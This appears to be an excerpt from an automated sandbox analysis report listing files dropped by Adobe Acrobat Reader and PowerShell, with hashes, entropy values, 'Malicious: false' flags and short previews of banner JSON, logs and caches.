Size (bytes):	295
Entropy (8bit):	5.308589493938378
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfzdPeUkwRe9:YvXKXRESlWZc0vfJZGb8Ukee9
MD5:	D8D0D54B3F9A6B778D77AFE67E46F8BC
SHA1:	BA1F99D8737559DCCDD5C3A348ABA2E4923AEC3A
SHA-256:	C955ABB08CB6C34599D83762CB9E5E090FC67EF181D00DBFFFDD63A9854DC7E1
SHA-512:	F19C71FA1CEE7ACF6E12478E58E45BB6C0700AA503FE611B8A1833CE4386A919862CA7A8E0AE5B8BD9A4B2F7EA0D8FB24BD5AFE439FA33B6F0142B2C7003D2DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289799594822859
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfYdPeUkwRe9:YvXKXRESlWZc0vfJZGg8Ukee9
MD5:	1064E9BA04BC2845A0BF59C273E31C15
SHA1:	810F02417FFD1432F45C5747D9FC9F1936981566
SHA-256:	06180D4FD90B5071D71D60307ADABCA9EC9EA66CE7E0C567F03EED5C325EEBC0
SHA-512:	CB3D29769BABAACB410A211997675143688E3CA4E084AAB2ACDEBDDFC7D616339F8D40F5EF0A503D00DF57FC173A90EF4D5EF4F12D178A3D0A7B39145340573F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.275670383047544
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJf+dPeUkwRe9:YvXKXRESlWZc0vfJZG28Ukee9
MD5:	798085320187757DEAB2C23369F5CC40
SHA1:	2BAB4C2071608D605EA38513DD90ABA98897875F
SHA-256:	83398F30F9314070225D11B906AD2D6429AD900BB15972C8C395657CA8D6D6A6
SHA-512:	8FAB56680A284B0E6D404AC5F2CE3A234D40C04A5C640197F48E4F500CD3DD1A4474C4275871A8D1FD68063F2F8596EBD3FBCB6ED82AFFD2446B03404B3555E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273416798374229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfbPtdPeUkwRe9:YvXKXRESlWZc0vfJZGDV8Ukee9
MD5:	1EE9F09A7589BAEB04878A552C778D98
SHA1:	2472738143244E2037EBEA215D687B25D1F74808
SHA-256:	308DF82E33FB31E763942B6A1CB5DCA823EB03A1EFAE925BE942A86994485518
SHA-512:	9A1DA67F4EF99B3A76065710C63C90C0D8C2C48781F389F96C6AAA31A23E193B132C15ACFB28FB12547C31F6220D91B158E015BA969B0AFD958FF8FCC7A9B3C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.278767030257368
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJf21rPeUkwRe9:YvXKXRESlWZc0vfJZG+16Ukee9
MD5:	A39EC290048707C0D88A64F49B9B4F3B
SHA1:	29FA4E2E41F76804205FDB2322E71A1C3D31837F
SHA-256:	1E84C70A7DAE00F9429EAC6EAA033D1CAF5BD7914D9E7C4304BE5D9DB8125F35
SHA-512:	9078C8B7D3940207FC519B430F5342CFBF4CC00326EE5747B37DDF0201DACD36A0EEFDAA35D61418091B90315C0E664514825E15D4CAE0A53531D92D15D2F26B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665374927459322
Encrypted:	false
SSDEEP:	24:Yv6XBlWzvhiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:YvuOZ8BgkDMUJUAh8cvMV
MD5:	AF55E99E5ADFCCCE5F743FC6841E58C3
SHA1:	4FBCFAD833A2A709A0F1D58C55B689215F848DB3
SHA-256:	D412087E951D032E7E904070A6B0BCA2E7C9541818BC0C6A62169C64AF9E44AF
SHA-512:	A52DF39AD277C0F3B45019B922766FD9AA83EF5B077911652102D50BCBF92C7CEA3A07DDEC610E0778BDDA998992C55880FEC797899A35B557A8161427C25C4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2542513072549815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfshHHrPeUkwRe9:YvXKXRESlWZc0vfJZGUUUkee9
MD5:	72073E4CD1335BECA44BC3E17EE23CCF
SHA1:	C9677A2030D2F607183E3E5F06DF3E9A8FCD0AD6
SHA-256:	233581CE1243C1E6A2A4020C1F897E6762E74CAA68C78AF1BC73C557B4D5381E
SHA-512:	DD1AA8B088F8D5ACE8E086DD85444BE7407EA75C035DFDE527E6E08350AD8B4641C25746CA525C9B836D56AD84F589C7496EA15DA815A7AC9A794FF021C78BDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27325089400061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJTqgFCrPeUkwRe9:YvXKXRESlWZc0vfJZGTq16Ukee9
MD5:	3A45E39C5F07002BBF50729FDA4D88F5
SHA1:	EADACC8F95515FDD6B026905A67ADB0998EA28AE
SHA-256:	CCC8357208016C3BAA53659E81D5194E687F90D6F1829AB71ADA4C7C698C4079
SHA-512:	983A887E13F3E54184658A2C6F9D7F9E5E6E10363753A0EA039E7FC518CFE26A97D684A08B9A6764C5D474FC45E778C200BEF7ED78F69F59F9830B55BB804B30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1302924353559005
Encrypted:	false
SSDEEP:	24:Yqw/am3ay/+BmaTM4UDNV9A5jGKEJkSj0SDR4z2iKpQP2LSNCESM8q1TRP7I5p24:YXxaHM4UJOGKCkkQxRPvb8qhNcvn9T
MD5:	1690CC28C59DCE980D386D69EBB248B2
SHA1:	8713847F4CBA56D87681C4B0DA853144F236431F
SHA-256:	0122C19C35663B549D815C5B46115D0CEE1D22DD56F1077E5B1BC76E922E7027
SHA-512:	2F290F29391131C784E28D93B9143E118A59440CAE2AC32B03D109DE96E0CF597544B64E6AAF8E93DF443964FB08B41268483C5C84F9775C87B951F5C7584095
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"721a5b46918d95213157ae98a9023fa3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556038000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3ea1b45132a1a41f4780f61e167c6a0e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556038000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8ce20c82c3c34d9e452a8bcc293ffcb9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556038000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a36d5a4f7b532867c5195aa6ae301a90","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556038000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fbb7d6fbf2f1018e6aafea0e21d9ee81","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556038000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a3fc47baa959da8f1969a2ceed6631ed","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1866584171016845
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUaSvR9H9vxFGiDIAEkGVvpI:lNVmswUUUUUUUUa+FGSItc
MD5:	B236178CE018564F69B9BFDFD5AAC675
SHA1:	C340817EC0E92F7C8065F3F06575D310EA1026C9
SHA-256:	308C224A5F015CB21782290E321C01DBE737809BE8B0F348E8A4202B6F888794
SHA-512:	4B505DD84B4E87D1522A0B4F738DCC27570CE95E26A0FB67C144804A86B1B1735F8A34BFF371ECDFD80A31F2B621429D4051531180E43D15B706B0E2185901D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.606073446520477
Encrypted:	false
SSDEEP:	48:7MGKUUUUUUUUUUYvR9H9vxFGiDIAEkGVv+qFl2GL7msJ:7OUUUUUUUUUUQFGSItEKVmsJ
MD5:	86B0912C2B97A860A7A405A48E81A991
SHA1:	7BB4D82B166B2CB6310EB2F47DB5E0A1FCBD7098
SHA-256:	77E4D34F3A61776E4297BE3D8D33268F3D61A044074D858885A67ECA47272268
SHA-512:	620BCF3AE451A3F33E765CC2C89E4E0665CA38C1AF78A965A31C5AD6D7069DACDEE51B1566F72007B1C4F53E377E859C135CED77AD812E3D7C40821E9ADA1175
Malicious:	false
Preview:	.... .c.....G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgBXIbcmMbcVnUzIRkjflxIQ4YYyu:6a6TZ44ADE9IbcmecVnfQlK
MD5:	1346CEDAF7CE204B9998122EEBEE5C91
SHA1:	FC8EA765A4B98FECB1C8536775C2D41697A17D4C
SHA-256:	4D1889E4F2A138E4F8DBD12800C74632848C96BE1FE5027107A0F2894D8C5F44
SHA-512:	9C025FAA45A3CA31A4E8EA600FCC204827C5354A9864FB3B0F58E777E75CC4825F18843484C40FA2BE48A589FB4FCAF3C3FD259CA95F739458B5C3E1E1932E33
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa0f0b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEOH:Qw946cPbiOxDlbYnuRK+bDs
MD5:	253CB6327FFBCE38ACE85D97AF0CE688
SHA1:	A28E59837C071B23F763575869F7940B731FDBB2
SHA-256:	5E75D246FC5218047C2BFC7DE1BFDB6039EBB0BB53B8F30788F58FC556F44DD9
SHA-512:	9E035CBA2FEB990DC29FFA6FEBB6255BF8BB955F3BE99FE152BC97FC2F274AF364A64B548289A6566D4C26E567BBCF82D00ED80FB8995F60C6E9BBF423358638
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.4.0.:.3.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oseppr1u.yy5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sfxjyb5b.rag.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-40-32-074.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.342004453996226
Encrypted:	false
SSDEEP:	384:tVgHgIgvgRgGgXVgeg3g1g2g8Xqa9Fvbsod2lojueqfq5SYeCou1pTBzgmTtEYDe:BFw
MD5:	AC7F92CACFC3522B9A6FF84D605FF4F8
SHA1:	9DC917BE4409030E81BA4DF568F7EC7FEB23829A
SHA-256:	6030993E6F7A174E4F0EE4C0FCE7A1FF0E02C34ED1D20B29321CCFABD524E733
SHA-512:	C6044E8C8C1204B075977B7DE6E29FAD719A8DEA3602279A545104E6F1AA03664EDF371622ACA951F7F0E38CDFAE303B433DE4214B4A0C6274E7BC189545793F
Malicious:	false
Preview:	SessionID=1a937e91-908a-4bdb-a848-a797e65eb850.1736556032085 Timestamp=2025-01-10T19:40:32:085-0500 ThreadID=7324 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1a937e91-908a-4bdb-a848-a797e65eb850.1736556032085 Timestamp=2025-01-10T19:40:32:087-0500 ThreadID=7324 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1a937e91-908a-4bdb-a848-a797e65eb850.1736556032085 Timestamp=2025-01-10T19:40:32:087-0500 ThreadID=7324 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1a937e91-908a-4bdb-a848-a797e65eb850.1736556032085 Timestamp=2025-01-10T19:40:32:087-0500 ThreadID=7324 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1a937e91-908a-4bdb-a848-a797e65eb850.1736556032085 Timestamp=2025-01-10T19:40:32:087-0500 ThreadID=7324 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.383764684718509
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rs:TM
MD5:	C71B649F65BF62528F085B60255BAF08
SHA1:	AD064AC84D3D653E6DBE97B3180F581776820A44
SHA-256:	6661211EC3BDA21E503E8B596769296592A07F43C7CFEEAEC27113E7EB30A7BB
SHA-512:	0E8AD7C19469F23F9C36500E791763695365122FFC5C5AB32E2D032008EEAA6F67981BC6697F79B2BC05DCE8D567C15B32BE8EFBD3AD50CEA04A0FE0935DBB39
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1eed6aaf-7dc3-46cf-8d5a-5e44689bbdea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
